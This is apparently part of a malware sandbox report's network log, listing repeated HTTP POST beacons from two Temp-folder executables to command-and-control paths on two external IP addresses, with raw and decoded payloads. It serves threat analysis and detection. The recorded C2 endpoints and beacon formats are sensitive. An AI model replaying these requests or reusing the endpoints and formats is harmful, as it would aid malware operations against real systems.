Jul 27, 2024 12:02:26.079253912 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49768	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:25.549457073 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:26.315649033 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:26.316447973 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:02:26.564977884 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49769	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:26.191049099 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:26.954230070 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:26.955476046 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:02:27.205616951 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49770	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:26.674808025 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:27.455774069 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:27.456897020 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:02:27.967287064 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 27, 2024 12:02:27.973066092 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49771	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:27.323577881 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:28.082905054 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:28.083657026 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:02:28.356616974 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49772	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:28.080579042 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:28.822235107 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:28.823112965 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:02:29.069928885 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49773	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:28.471591949 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:29.249528885 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:29.250202894 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:02:29.510833979 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49774	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:29.191447020 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:29.960690022 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:29.999277115 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:02:30.308331966 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:02:30.601526022 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49775	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:29.633418083 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:30.431113958 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:30.448286057 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:02:30.699620962 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49780	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:30.730443001 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:31.490073919 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:31.491976976 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:02:31.740900993 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49781	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:30.831276894 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:31.574870110 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:31.575562000 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:02:31.822099924 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	49785	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:31.909490108 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:32.665719032 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:32.677249908 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:02:32.947334051 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49786	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:31.939863920 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:32.704201937 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:32.704749107 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
